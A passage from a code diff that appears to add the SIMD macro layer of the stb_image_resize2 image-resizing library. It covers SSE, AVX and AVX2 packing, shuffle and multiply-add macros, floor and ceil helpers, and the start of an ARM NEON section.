+        o2 = _mm_movelh_ps(tmp1, tmp3);  \
+        o3 = _mm_movehl_ps(tmp3, tmp1);  \
+      }
+
+  #define stbir__interleave_pack_and_store_16_u8( ptr, r0, r1, r2, r3 ) \
+      r0 = _mm_packs_epi32( r0, r1 ); \
+      r2 = _mm_packs_epi32( r2, r3 ); \
+      r1 = _mm_unpacklo_epi16( r0, r2 ); \
+      r3 = _mm_unpackhi_epi16( r0, r2 ); \
+      r0 = _mm_unpacklo_epi16( r1, r3 ); \
+      r2 = _mm_unpackhi_epi16( r1, r3 ); \
+      r0 = _mm_packus_epi16( r0, r2 ); \
+      stbir__simdi_store( ptr, r0 ); \
+
+  #define stbir__simdi_32shr( out, reg, imm ) out = _mm_srli_epi32( reg, imm )
+
+  #if defined(_MSC_VER) && !defined(__clang__)
+    // msvc inits with 8 bytes
+    #define STBIR__CONST_32_TO_8( v ) (char)(unsigned char)((v)&255),(char)(unsigned char)(((v)>>8)&255),(char)(unsigned char)(((v)>>16)&255),(char)(unsigned char)(((v)>>24)&255)
+    #define STBIR__CONST_4_32i( v ) STBIR__CONST_32_TO_8( v ), STBIR__CONST_32_TO_8( v ), STBIR__CONST_32_TO_8( v ), STBIR__CONST_32_TO_8( v )
+    #define STBIR__CONST_4d_32i( v0, v1, v2, v3 ) STBIR__CONST_32_TO_8( v0 ), STBIR__CONST_32_TO_8( v1 ), STBIR__CONST_32_TO_8( v2 ), STBIR__CONST_32_TO_8( v3 )
+  #else
+    // everything else inits with long long's
+    #define STBIR__CONST_4_32i( v ) (long long)((((stbir_uint64)(stbir_uint32)(v))<<32)|((stbir_uint64)(stbir_uint32)(v))),(long long)((((stbir_uint64)(stbir_uint32)(v))<<32)|((stbir_uint64)(stbir_uint32)(v)))
+    #define STBIR__CONST_4d_32i( v0, v1, v2, v3 ) (long long)((((stbir_uint64)(stbir_uint32)(v1))<<32)|((stbir_uint64)(stbir_uint32)(v0))),(long long)((((stbir_uint64)(stbir_uint32)(v3))<<32)|((stbir_uint64)(stbir_uint32)(v2)))
+  #endif
+
+  #define STBIR__SIMDF_CONST(var, x) stbir__simdf var = { x, x, x, x }
+  #define STBIR__SIMDI_CONST(var, x) stbir__simdi var = { STBIR__CONST_4_32i(x) }
+  #define STBIR__CONSTF(var) (var)
+  #define STBIR__CONSTI(var) (var)
+
+  #if defined(STBIR_AVX) || defined(__SSE4_1__)
+    #include <smmintrin.h>
+    #define stbir__simdf_pack_to_8words(out,reg0,reg1) out = _mm_packus_epi32(_mm_cvttps_epi32(_mm_max_ps(_mm_min_ps(reg0,STBIR__CONSTF(STBIR_max_uint16_as_float)),_mm_setzero_ps())), _mm_cvttps_epi32(_mm_max_ps(_mm_min_ps(reg1,STBIR__CONSTF(STBIR_max_uint16_as_float)),_mm_setzero_ps())))
+  #else
+    static STBIR__SIMDI_CONST(stbir__s32_32768, 32768);
+    static STBIR__SIMDI_CONST(stbir__s16_32768, ((32768<<16)|32768));
+
+    #define stbir__simdf_pack_to_8words(out,reg0,reg1) \
+      { \
+        stbir__simdi tmp0,tmp1; \
+        tmp0 = _mm_cvttps_epi32(_mm_max_ps(_mm_min_ps(reg0,STBIR__CONSTF(STBIR_max_uint16_as_float)),_mm_setzero_ps())); \
+        tmp1 = _mm_cvttps_epi32(_mm_max_ps(_mm_min_ps(reg1,STBIR__CONSTF(STBIR_max_uint16_as_float)),_mm_setzero_ps())); \
+        tmp0 = _mm_sub_epi32( tmp0, stbir__s32_32768 ); \
+        tmp1 = _mm_sub_epi32( tmp1, stbir__s32_32768 ); \
+        out = _mm_packs_epi32( tmp0, tmp1 ); \
+        out = _mm_sub_epi16( out, stbir__s16_32768 ); \
+      }
+
+  #endif
+
+  #define STBIR_SIMD
+
+  // if we detect AVX, set the simd8 defines
+  #ifdef STBIR_AVX
+    #include <immintrin.h>
+    #define STBIR_SIMD8
+    #define stbir__simdf8 __m256
+    #define stbir__simdi8 __m256i
+    #define stbir__simdf8_load( out, ptr ) (out) = _mm256_loadu_ps( (float const *)(ptr) )
+    #define stbir__simdi8_load( out, ptr ) (out) = _mm256_loadu_si256( (__m256i const *)(ptr) )
+    #define stbir__simdf8_mult( out, a, b ) (out) = _mm256_mul_ps( (a), (b) )
+    #define stbir__simdf8_store( ptr, out ) _mm256_storeu_ps( (float*)(ptr), out )
+    #define stbir__simdi8_store( ptr, reg )  _mm256_storeu_si256( (__m256i*)(ptr), reg )
+    #define stbir__simdf8_frep8( fval ) _mm256_set1_ps( fval )
+
+    #define stbir__simdf8_min( out, reg0, reg1 ) (out) = _mm256_min_ps( reg0, reg1 )
+    #define stbir__simdf8_max( out, reg0, reg1 ) (out) = _mm256_max_ps( reg0, reg1 )
+
+    #define stbir__simdf8_add4halves( out, bot4, top8 ) (out) = _mm_add_ps( bot4, _mm256_extractf128_ps( top8, 1 ) )
+    #define stbir__simdf8_mult_mem( out, reg, ptr ) (out) = _mm256_mul_ps( reg, _mm256_loadu_ps( (float const*)(ptr) ) )
+    #define stbir__simdf8_add_mem( out, reg, ptr ) (out) = _mm256_add_ps( reg, _mm256_loadu_ps( (float const*)(ptr) ) )
+    #define stbir__simdf8_add( out, a, b ) (out) = _mm256_add_ps( a, b )
+    #define stbir__simdf8_load1b( out, ptr ) (out) = _mm256_broadcast_ss( ptr )
+    #define stbir__simdf_load1rep4( out, ptr ) (out) = _mm_broadcast_ss( ptr )  // avx load instruction
+
+    #define stbir__simdi8_convert_i32_to_float(out, ireg) (out) = _mm256_cvtepi32_ps( ireg )
+    #define stbir__simdf8_convert_float_to_i32( i, f ) (i) = _mm256_cvttps_epi32(f)
+
+    #define stbir__simdf8_bot4s( out, a, b ) (out) = _mm256_permute2f128_ps(a,b, (0<<0)+(2<<4) )
+    #define stbir__simdf8_top4s( out, a, b ) (out) = _mm256_permute2f128_ps(a,b, (1<<0)+(3<<4) )
+
+    #define stbir__simdf8_gettop4( reg ) _mm256_extractf128_ps(reg,1)
+
+    #ifdef STBIR_AVX2
+
+    #define stbir__simdi8_expand_u8_to_u32(out0,out1,ireg) \
+    { \
+      stbir__simdi8 a, zero  =_mm256_setzero_si256();\
+      a = _mm256_permute4x64_epi64( _mm256_unpacklo_epi8( _mm256_permute4x64_epi64(_mm256_castsi128_si256(ireg),(0<<0)+(2<<2)+(1<<4)+(3<<6)), zero ),(0<<0)+(2<<2)+(1<<4)+(3<<6)); \
+      out0 = _mm256_unpacklo_epi16( a, zero ); \
+      out1 = _mm256_unpackhi_epi16( a, zero ); \
+    }
+
+    #define stbir__simdf8_pack_to_16bytes(out,aa,bb) \
+    { \
+      stbir__simdi8 t; \
+      stbir__simdf8 af,bf; \
+      stbir__simdi8 a,b; \
+      af = _mm256_min_ps( aa, STBIR_max_uint8_as_floatX ); \
+      bf = _mm256_min_ps( bb, STBIR_max_uint8_as_floatX ); \
+      af = _mm256_max_ps( af, _mm256_setzero_ps() ); \
+      bf = _mm256_max_ps( bf, _mm256_setzero_ps() ); \
+      a = _mm256_cvttps_epi32( af ); \
+      b = _mm256_cvttps_epi32( bf ); \
+      t = _mm256_permute4x64_epi64( _mm256_packs_epi32( a, b ), (0<<0)+(2<<2)+(1<<4)+(3<<6) ); \
+      out = _mm256_castsi256_si128( _mm256_permute4x64_epi64( _mm256_packus_epi16( t, t ), (0<<0)+(2<<2)+(1<<4)+(3<<6) ) ); \
+    }
+
+    #define stbir__simdi8_expand_u16_to_u32(out,ireg) out = _mm256_unpacklo_epi16( _mm256_permute4x64_epi64(_mm256_castsi128_si256(ireg),(0<<0)+(2<<2)+(1<<4)+(3<<6)), _mm256_setzero_si256() );
+
+    #define stbir__simdf8_pack_to_16words(out,aa,bb) \
+      { \
+        stbir__simdf8 af,bf; \
+        stbir__simdi8 a,b; \
+        af = _mm256_min_ps( aa, STBIR_max_uint16_as_floatX ); \
+        bf = _mm256_min_ps( bb, STBIR_max_uint16_as_floatX ); \
+        af = _mm256_max_ps( af, _mm256_setzero_ps() ); \
+        bf = _mm256_max_ps( bf, _mm256_setzero_ps() ); \
+        a = _mm256_cvttps_epi32( af ); \
+        b = _mm256_cvttps_epi32( bf ); \
+        (out) = _mm256_permute4x64_epi64( _mm256_packus_epi32(a, b), (0<<0)+(2<<2)+(1<<4)+(3<<6) ); \
+      }
+
+    #else
+
+    #define stbir__simdi8_expand_u8_to_u32(out0,out1,ireg) \
+    { \
+      stbir__simdi a,zero = _mm_setzero_si128(); \
+      a = _mm_unpacklo_epi8( ireg, zero ); \
+      out0 = _mm256_setr_m128i( _mm_unpacklo_epi16( a, zero ), _mm_unpackhi_epi16( a, zero ) ); \
+      a = _mm_unpackhi_epi8( ireg, zero ); \
+      out1 = _mm256_setr_m128i( _mm_unpacklo_epi16( a, zero ), _mm_unpackhi_epi16( a, zero ) ); \
+    }
+
+    #define stbir__simdf8_pack_to_16bytes(out,aa,bb) \
+    { \
+      stbir__simdi t; \
+      stbir__simdf8 af,bf; \
+      stbir__simdi8 a,b; \
+      af = _mm256_min_ps( aa, STBIR_max_uint8_as_floatX ); \
+      bf = _mm256_min_ps( bb, STBIR_max_uint8_as_floatX ); \
+      af = _mm256_max_ps( af, _mm256_setzero_ps() ); \
+      bf = _mm256_max_ps( bf, _mm256_setzero_ps() ); \
+      a = _mm256_cvttps_epi32( af ); \
+      b = _mm256_cvttps_epi32( bf ); \
+      out = _mm_packs_epi32( _mm256_castsi256_si128(a), _mm256_extractf128_si256( a, 1 ) ); \
+      out = _mm_packus_epi16( out, out ); \
+      t = _mm_packs_epi32( _mm256_castsi256_si128(b), _mm256_extractf128_si256( b, 1 ) ); \
+      t = _mm_packus_epi16( t, t ); \
+      out = _mm_castps_si128( _mm_shuffle_ps( _mm_castsi128_ps(out), _mm_castsi128_ps(t), (0<<0)+(1<<2)+(0<<4)+(1<<6) ) ); \
+    }
+
+    #define stbir__simdi8_expand_u16_to_u32(out,ireg) \
+    { \
+      stbir__simdi a,b,zero = _mm_setzero_si128(); \
+      a = _mm_unpacklo_epi16( ireg, zero ); \
+      b = _mm_unpackhi_epi16( ireg, zero ); \
+      out = _mm256_insertf128_si256( _mm256_castsi128_si256( a ), b, 1 ); \
+    }
+
+    #define stbir__simdf8_pack_to_16words(out,aa,bb) \
+      { \
+        stbir__simdi t0,t1; \
+        stbir__simdf8 af,bf; \
+        stbir__simdi8 a,b; \
+        af = _mm256_min_ps( aa, STBIR_max_uint16_as_floatX ); \
+        bf = _mm256_min_ps( bb, STBIR_max_uint16_as_floatX ); \
+        af = _mm256_max_ps( af, _mm256_setzero_ps() ); \
+        bf = _mm256_max_ps( bf, _mm256_setzero_ps() ); \
+        a = _mm256_cvttps_epi32( af ); \
+        b = _mm256_cvttps_epi32( bf ); \
+        t0 = _mm_packus_epi32( _mm256_castsi256_si128(a), _mm256_extractf128_si256( a, 1 ) ); \
+        t1 = _mm_packus_epi32( _mm256_castsi256_si128(b), _mm256_extractf128_si256( b, 1 ) ); \
+        out = _mm256_setr_m128i( t0, t1 ); \
+      }
+
+    #endif
+
+    static __m256i stbir_00001111 = { STBIR__CONST_4d_32i( 0, 0, 0, 0 ), STBIR__CONST_4d_32i( 1, 1, 1, 1 ) };
+    #define stbir__simdf8_0123to00001111( out, in ) (out) = _mm256_permutevar_ps ( in, stbir_00001111 )
+
+    static __m256i stbir_22223333 = { STBIR__CONST_4d_32i( 2, 2, 2, 2 ), STBIR__CONST_4d_32i( 3, 3, 3, 3 ) };
+    #define stbir__simdf8_0123to22223333( out, in ) (out) = _mm256_permutevar_ps ( in, stbir_22223333 )
+
+    #define stbir__simdf8_0123to2222( out, in ) (out) = stbir__simdf_swiz(_mm256_castps256_ps128(in), 2,2,2,2 )
+
+    #define stbir__simdf8_load4b( out, ptr ) (out) = _mm256_broadcast_ps( (__m128 const *)(ptr) )
+
+    static __m256i stbir_00112233 = { STBIR__CONST_4d_32i( 0, 0, 1, 1 ), STBIR__CONST_4d_32i( 2, 2, 3, 3 ) };
+    #define stbir__simdf8_0123to00112233( out, in ) (out) = _mm256_permutevar_ps ( in, stbir_00112233 )
+    #define stbir__simdf8_add4( out, a8, b ) (out) = _mm256_add_ps( a8,  _mm256_castps128_ps256( b ) )
+
+    static __m256i stbir_load6 = { STBIR__CONST_4_32i( 0x80000000 ), STBIR__CONST_4d_32i(  0x80000000,  0x80000000, 0, 0 ) };
+    #define stbir__simdf8_load6z( out, ptr ) (out) = _mm256_maskload_ps( ptr, stbir_load6 )
+
+    #define stbir__simdf8_0123to00000000( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (0<<0)+(0<<2)+(0<<4)+(0<<6) )
+    #define stbir__simdf8_0123to11111111( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (1<<0)+(1<<2)+(1<<4)+(1<<6) )
+    #define stbir__simdf8_0123to22222222( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (2<<0)+(2<<2)+(2<<4)+(2<<6) )
+    #define stbir__simdf8_0123to33333333( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (3<<0)+(3<<2)+(3<<4)+(3<<6) )
+    #define stbir__simdf8_0123to21032103( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (2<<0)+(1<<2)+(0<<4)+(3<<6) )
+    #define stbir__simdf8_0123to32103210( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (3<<0)+(2<<2)+(1<<4)+(0<<6) )
+    #define stbir__simdf8_0123to12301230( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (1<<0)+(2<<2)+(3<<4)+(0<<6) )
+    #define stbir__simdf8_0123to10321032( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (1<<0)+(0<<2)+(3<<4)+(2<<6) )
+    #define stbir__simdf8_0123to30123012( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (3<<0)+(0<<2)+(1<<4)+(2<<6) )
+
+    #define stbir__simdf8_0123to11331133( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (1<<0)+(1<<2)+(3<<4)+(3<<6) )
+    #define stbir__simdf8_0123to00220022( out, in ) (out) =  _mm256_shuffle_ps ( in, in, (0<<0)+(0<<2)+(2<<4)+(2<<6) )
+
+    #define stbir__simdf8_aaa1( out, alp, ones ) (out) = _mm256_blend_ps( alp, ones, (1<<0)+(1<<1)+(1<<2)+(0<<3)+(1<<4)+(1<<5)+(1<<6)+(0<<7)); (out)=_mm256_shuffle_ps( out,out, (3<<0) + (3<<2) + (3<<4) + (0<<6) )
+    #define stbir__simdf8_1aaa( out, alp, ones ) (out) = _mm256_blend_ps( alp, ones, (0<<0)+(1<<1)+(1<<2)+(1<<3)+(0<<4)+(1<<5)+(1<<6)+(1<<7)); (out)=_mm256_shuffle_ps( out,out, (1<<0) + (0<<2) + (0<<4) + (0<<6) )
+    #define stbir__simdf8_a1a1( out, alp, ones) (out) = _mm256_blend_ps( alp, ones, (1<<0)+(0<<1)+(1<<2)+(0<<3)+(1<<4)+(0<<5)+(1<<6)+(0<<7)); (out)=_mm256_shuffle_ps( out,out, (1<<0) + (0<<2) + (3<<4) + (2<<6) )
+    #define stbir__simdf8_1a1a( out, alp, ones) (out) = _mm256_blend_ps( alp, ones, (0<<0)+(1<<1)+(0<<2)+(1<<3)+(0<<4)+(1<<5)+(0<<6)+(1<<7)); (out)=_mm256_shuffle_ps( out,out, (1<<0) + (0<<2) + (3<<4) + (2<<6) )
+
+    #define stbir__simdf8_zero( reg ) (reg) = _mm256_setzero_ps()
+
+    #ifdef STBIR_USE_FMA           // not on by default to maintain bit identical simd to non-simd
+    #define stbir__simdf8_madd( out, add, mul1, mul2 ) (out) = _mm256_fmadd_ps( mul1, mul2, add )
+    #define stbir__simdf8_madd_mem( out, add, mul, ptr ) (out) = _mm256_fmadd_ps( mul, _mm256_loadu_ps( (float const*)(ptr) ), add )
+    #define stbir__simdf8_madd_mem4( out, add, mul, ptr )(out) = _mm256_fmadd_ps( _mm256_setr_m128( mul, _mm_setzero_ps() ), _mm256_setr_m128( _mm_loadu_ps( (float const*)(ptr) ), _mm_setzero_ps() ), add )
+    #else
+    #define stbir__simdf8_madd( out, add, mul1, mul2 ) (out) = _mm256_add_ps( add, _mm256_mul_ps( mul1, mul2 ) )
+    #define stbir__simdf8_madd_mem( out, add, mul, ptr ) (out) = _mm256_add_ps( add, _mm256_mul_ps( mul, _mm256_loadu_ps( (float const*)(ptr) ) ) )
+    #define stbir__simdf8_madd_mem4( out, add, mul, ptr )  (out) = _mm256_add_ps( add, _mm256_setr_m128( _mm_mul_ps( mul, _mm_loadu_ps( (float const*)(ptr) ) ), _mm_setzero_ps() ) )
+    #endif
+    #define stbir__if_simdf8_cast_to_simdf4( val ) _mm256_castps256_ps128( val )
+
+  #endif
+
+  #ifdef STBIR_FLOORF
+  #undef STBIR_FLOORF
+  #endif
+  #define STBIR_FLOORF stbir_simd_floorf
+  static stbir__inline float stbir_simd_floorf(float x)  // martins floorf
+  {
+    #if defined(STBIR_AVX) || defined(__SSE4_1__) || defined(STBIR_SSE41)
+    __m128 t = _mm_set_ss(x);
+    return _mm_cvtss_f32( _mm_floor_ss(t, t) );
+    #else
+    __m128 f = _mm_set_ss(x);
+    __m128 t = _mm_cvtepi32_ps(_mm_cvttps_epi32(f));
+    __m128 r = _mm_add_ss(t, _mm_and_ps(_mm_cmplt_ss(f, t), _mm_set_ss(-1.0f)));
+    return _mm_cvtss_f32(r);
+    #endif
+  }
+
+  #ifdef STBIR_CEILF
+  #undef STBIR_CEILF
+  #endif
+  #define STBIR_CEILF stbir_simd_ceilf
+  static stbir__inline float stbir_simd_ceilf(float x)  // martins ceilf
+  {
+    #if defined(STBIR_AVX) || defined(__SSE4_1__) || defined(STBIR_SSE41)
+    __m128 t = _mm_set_ss(x);
+    return _mm_cvtss_f32( _mm_ceil_ss(t, t) );
+    #else
+    __m128 f = _mm_set_ss(x);
+    __m128 t = _mm_cvtepi32_ps(_mm_cvttps_epi32(f));
+    __m128 r = _mm_add_ss(t, _mm_and_ps(_mm_cmplt_ss(t, f), _mm_set_ss(1.0f)));
+    return _mm_cvtss_f32(r);
+    #endif
+  }
+
+#elif defined(STBIR_NEON)
+
+  #include <arm_neon.h>
+
+  #define stbir__simdf float32x4_t
+  #define stbir__simdi uint32x4_t
+
+  #define stbir_simdi_castf( reg ) vreinterpretq_u32_f32(reg)
+  #define stbir_simdf_casti( reg ) vreinterpretq_f32_u32(reg)
+
+  #define stbir__simdf_load( reg, ptr ) (reg) = vld1q_f32( (float const*)(ptr) )
+  #define stbir__simdi_load( reg, ptr ) (reg) = vld1q_u32( (uint32_t const*)(ptr) )
+  #define stbir__simdf_load1( out, ptr ) (out) = vld1q_dup_f32( (float const*)(ptr) ) // top values can be random (not denormal or nan for perf)
+  #define stbir__simdi_load1( out, ptr ) (out) = vld1q_dup_u32( (uint32_t const*)(ptr) )
+  #define stbir__simdf_load1z( out, ptr ) (out) = vld1q_lane_f32( (float const*)(ptr), vdupq_n_f32(0), 0 ) // top values must be zero
+  #define stbir__simdf_frep4( fvar ) vdupq_n_f32( fvar )
+  #define stbir__simdf_load1frep4( out, fvar ) (out) = vdupq_n_f32( fvar )
+  #define stbir__simdf_load2( out, ptr ) (out) = vcombine_f32( vld1_f32( (float const*)(ptr) ), vcreate_f32(0) ) // top values can be random (not denormal or nan for perf)
+  #define stbir__simdf_load2z( out, ptr ) (out) = vcombine_f32( vld1_f32( (float const*)(ptr) ), vcreate_f32(0) )  // top values must be zero
+  #define stbir__simdf_load2hmerge( out, reg, ptr ) (out) = vcombine_f32( vget_low_f32(reg), vld1_f32( (float const*)(ptr) ) )
+
+  #define stbir__simdf_zeroP() vdupq_n_f32(0)
+  #define stbir__simdf_zero( reg ) (reg) = vdupq_n_f32(0)
+
+  #define stbir__simdf_store( ptr, reg )  vst1q_f32( (float*)(ptr), reg )
+  #define stbir__simdf_store1( ptr, reg ) vst1q_lane_f32( (float*)(ptr), reg, 0)
+  #define stbir__simdf_store2( ptr, reg ) vst1_f32( (float*)(ptr), vget_low_f32(reg) )
+  #define stbir__simdf_store2h( ptr, reg ) vst1_f32( (float*)(ptr), vget_high_f32(reg) )
+
+  #define stbir__simdi_store( ptr, reg )  vst1q_u32( (uint32_t*)(ptr), reg )
+  #define stbir__simdi_store1( ptr, reg ) vst1q_lane_u32( (uint32_t*)(ptr), reg, 0 )
+  #define stbir__simdi_store2( ptr, reg ) vst1_u32( (uint32_t*)(ptr), vget_low_u32(reg) )
+
+  #define stbir__prefetch( ptr )
+
+  #define stbir__simdi_expand_u8_to_u32(out0,out1,out2,out3,ireg) \
+  { \
+    uint16x8_t l = vmovl_u8( vget_low_u8 ( vreinterpretq_u8_u32(ireg) ) ); \
+    uint16x8_t h = vmovl_u8( vget_high_u8( vreinterpretq_u8_u32(ireg) ) ); \
+    out0 = vmovl_u16( vget_low_u16 ( l ) ); \
+    out1 = vmovl_u16( vget_high_u16( l ) ); \
+    out2 = vmovl_u16( vget_low_u16 ( h ) ); \
+    out3 = vmovl_u16( vget_high_u16( h ) ); \
+  }
+
+  #define stbir__simdi_expand_u8_to_1u32(out,ireg) \
+  { \
+    uint16x8_t tmp = vmovl_u8( vget_low_u8( vreinterpretq_u8_u32(ireg) ) ); \
+    out = vmovl_u16( vget_low_u16( tmp ) ); \
+  }
+
+  #define stbir__simdi_expand_u16_to_u32(out0,out1,ireg) \
+  { \
+    uint16x8_t tmp = vreinterpretq_u16_u32(ireg); \
+    out0 = vmovl_u16( vget_low_u16 ( tmp ) ); \
+    out1 = vmovl_u16( vget_high_u16( tmp ) ); \
+  }
+
+  #define stbir__simdf_convert_float_to_i32( i, f ) (i) = vreinterpretq_u32_s32( vcvtq_s32_f32(f) )
+  #define stbir__simdf_convert_float_to_int( f ) vgetq_lane_s32(vcvtq_s32_f32(f), 0)
+  #define stbir__simdi_to_int( i ) (int)vgetq_lane_u32(i, 0)
+  #define stbir__simdf_convert_float_to_uint8( f ) ((unsigned char)vgetq_lane_s32(vcvtq_s32_f32(vmaxq_f32(vminq_f32(f,STBIR__CONSTF(STBIR_max_uint8_as_float)),vdupq_n_f32(0))), 0))
+  #define stbir__simdf_convert_float_to_short( f ) ((unsigned short)vgetq_lane_s32(vcvtq_s32_f32(vmaxq_f32(vminq_f32(f,STBIR__CONSTF(STBIR_max_uint16_as_float)),vdupq_n_f32(0))), 0))
+  #define stbir__simdi_convert_i32_to_float(out, ireg) (out) = vcvtq_f32_s32( vreinterpretq_s32_u32(ireg) )
+  #define stbir__simdf_add( out, reg0, reg1 ) (out) = vaddq_f32( reg0, reg1 )
+  #define stbir__simdf_mult( out, reg0, reg1 ) (out) = vmulq_f32( reg0, reg1 )
+  #define stbir__simdf_mult_mem( out, reg, ptr ) (out) = vmulq_f32( reg, vld1q_f32( (float const*)(ptr) ) )
+  #define stbir__simdf_mult1_mem( out, reg, ptr ) (out) = vmulq_f32( reg, vld1q_dup_f32( (float const*)(ptr) ) )
+  #define stbir__simdf_add_mem( out, reg, ptr ) (out) = vaddq_f32( reg, vld1q_f32( (float const*)(ptr) ) )
+  #define stbir__simdf_add1_mem( out, reg, ptr ) (out) = vaddq_f32( reg, vld1q_dup_f32( (float const*)(ptr) ) )
+
+  #ifdef STBIR_USE_FMA           // not on by default to maintain bit identical simd to non-simd (and also x64 no madd to arm madd)
+  #define stbir__simdf_madd( out, add, mul1, mul2 ) (out) = vfmaq_f32( add, mul1, mul2 )
+  #define stbir__simdf_madd1( out, add, mul1, mul2 ) (out) = vfmaq_f32( add, mul1, mul2 )
+  #define stbir__simdf_madd_mem( out, add, mul, ptr ) (out) = vfmaq_f32( add, mul, vld1q_f32( (float const*)(ptr) ) )
+  #define stbir__simdf_madd1_mem( out, add, mul, ptr ) (out) = vfmaq_f32( add, mul, vld1q_dup_f32( (float const*)(ptr) ) )
+  #else
+  #define stbir__simdf_madd( out, add, mul1, mul2 ) (out) = vaddq_f32( add, vmulq_f32( mul1, mul2 ) )
+  #define stbir__simdf_madd1( out, add, mul1, mul2 ) (out) = vaddq_f32( add, vmulq_f32( mul1, mul2 ) )
+  #define stbir__simdf_madd_mem( out, add, mul, ptr ) (out) = vaddq_f32( add, vmulq_f32( mul, vld1q_f32( (float const*)(ptr) ) ) )
+  #define stbir__simdf_madd1_mem( out, add, mul, ptr ) (out) = vaddq_f32( add, vmulq_f32( mul, vld1q_dup_f32( (float const*)(ptr) ) ) )
+  #endif
+
+  #define stbir__simdf_add1( out, reg0, reg1 ) (out) = vaddq_f32( reg0, reg1 )
+  #define stbir__simdf_mult1( out, reg0, reg1 ) (out) = vmulq_f32( reg0, reg1 )
+
+  #define stbir__simdf_and( out, reg0, reg1 ) (out) = vreinterpretq_f32_u32( vandq_u32( vreinterpretq_u32_f32(reg0), vreinterpretq_u32_f32(reg1) ) )
+  #define stbir__simdf_or( out, reg0, reg1 ) (out) = vreinterpretq_f32_u32( vorrq_u32( vreinterpretq_u32_f32(reg0), vreinterpretq_u32_f32(reg1) ) )
+
+  #define stbir__simdf_min( out, reg0, reg1 ) (out) = vminq_f32( reg0, reg1 )
+  #define stbir__simdf_max( out, reg0, reg1 ) (out) = vmaxq_f32( reg0, reg1 )
+  #define stbir__simdf_min1( out, reg0, reg1 ) (out) = vminq_f32( reg0, reg1 )
+  #define stbir__simdf_max1( out, reg0, reg1 ) (out) = vmaxq_f32( reg0, reg1 )
+
+  #define stbir__simdf_0123ABCDto3ABx( out, reg0, reg1 ) (out) = vextq_f32( reg0, reg1, 3 )
+  #define stbir__simdf_0123ABCDto23Ax( out, reg0, reg1 ) (out) = vextq_f32( reg0, reg1, 2 )
+
+  #define stbir__simdf_a1a1( out, alp, ones ) (out) = vzipq_f32(vuzpq_f32(alp, alp).val[1], ones).val[0]
+  #define stbir__simdf_1a1a( out, alp, ones ) (out) = vzipq_f32(ones, vuzpq_f32(alp, alp).val[0]).val[0]
+
+  #if defined( _M_ARM64 ) || defined( __aarch64__ ) || defined( __arm64__ )
+
+    #define stbir__simdf_aaa1( out, alp, ones ) (out) = vcopyq_laneq_f32(vdupq_n_f32(vgetq_lane_f32(alp, 3)), 3, ones, 3)
+    #define stbir__simdf_1aaa( out, alp, ones ) (out) = vcopyq_laneq_f32(vdupq_n_f32(vgetq_lane_f32(alp, 0)), 0, ones, 0)
+
+    #if defined( _MSC_VER ) && !defined(__clang__)
+      #define stbir_make16(a,b,c,d) vcombine_u8( \
+        vcreate_u8( (4*a+0) | ((4*a+1)<<8) | ((4*a+2)<<16) | ((4*a+3)<<24) | \
+          ((stbir_uint64)(4*b+0)<<32) | ((stbir_uint64)(4*b+1)<<40) | ((stbir_uint64)(4*b+2)<<48) | ((stbir_uint64)(4*b+3)<<56)), \
+        vcreate_u8( (4*c+0) | ((4*c+1)<<8) | ((4*c+2)<<16) | ((4*c+3)<<24) | \
+          ((stbir_uint64)(4*d+0)<<32) | ((stbir_uint64)(4*d+1)<<40) | ((stbir_uint64)(4*d+2)<<48) | ((stbir_uint64)(4*d+3)<<56) ) )
+
+      static stbir__inline uint8x16x2_t stbir_make16x2(float32x4_t rega,float32x4_t regb)
+      {
+        uint8x16x2_t r = { vreinterpretq_u8_f32(rega), vreinterpretq_u8_f32(regb) };
+        return r;
+      }
+    #else
+      #define stbir_make16(a,b,c,d) (uint8x16_t){4*a+0,4*a+1,4*a+2,4*a+3,4*b+0,4*b+1,4*b+2,4*b+3,4*c+0,4*c+1,4*c+2,4*c+3,4*d+0,4*d+1,4*d+2,4*d+3}
+      #define stbir_make16x2(a,b) (uint8x16x2_t){{vreinterpretq_u8_f32(a),vreinterpretq_u8_f32(b)}}
+    #endif
+
+    #define stbir__simdf_swiz( reg, one, two, three, four ) vreinterpretq_f32_u8( vqtbl1q_u8( vreinterpretq_u8_f32(reg), stbir_make16(one, two, three, four) ) )
+    #define stbir__simdf_swiz2( rega, regb, one, two, three, four ) vreinterpretq_f32_u8( vqtbl2q_u8( stbir_make16x2(rega,regb), stbir_make16(one, two, three, four) ) )
+
+    #define stbir__simdi_16madd( out, reg0, reg1 ) \
+    { \
+      int16x8_t r0 = vreinterpretq_s16_u32(reg0); \
+      int16x8_t r1 = vreinterpretq_s16_u32(reg1); \
+      int32x4_t tmp0 = vmull_s16( vget_low_s16(r0), vget_low_s16(r1) ); \
+      int32x4_t tmp1 = vmull_s16( vget_high_s16(r0), vget_high_s16(r1) ); \
+      (out) = vreinterpretq_u32_s32( vpaddq_s32(tmp0, tmp1) ); \
+    }
+
+  #else
+
+    #define stbir__simdf_aaa1( out, alp, ones ) (out) = vsetq_lane_f32(1.0f, vdupq_n_f32(vgetq_lane_f32(alp, 3)), 3)
+    #define stbir__simdf_1aaa( out, alp, ones ) (out) = vsetq_lane_f32(1.0f, vdupq_n_f32(vgetq_lane_f32(alp, 0)), 0)
+
+    #if defined( _MSC_VER ) && !defined(__clang__)
+      static stbir__inline uint8x8x2_t stbir_make8x2(float32x4_t reg)
+      {
+        uint8x8x2_t r = { { vget_low_u8(vreinterpretq_u8_f32(reg)), vget_high_u8(vreinterpretq_u8_f32(reg)) } };
+        return r;
+      }
+      #define stbir_make8(a,b) vcreate_u8( \
+        (4*a+0) | ((4*a+1)<<8) | ((4*a+2)<<16) | ((4*a+3)<<24) | \
+        ((stbir_uint64)(4*b+0)<<32) | ((stbir_uint64)(4*b+1)<<40) | ((stbir_uint64)(4*b+2)<<48) | ((stbir_uint64)(4*b+3)<<56) )
+    #else
+      #define stbir_make8x2(reg) (uint8x8x2_t){ { vget_low_u8(vreinterpretq_u8_f32(reg)), vget_high_u8(vreinterpretq_u8_f32(reg)) } }
+      #define stbir_make8(a,b) (uint8x8_t){4*a+0,4*a+1,4*a+2,4*a+3,4*b+0,4*b+1,4*b+2,4*b+3}
+    #endif
+
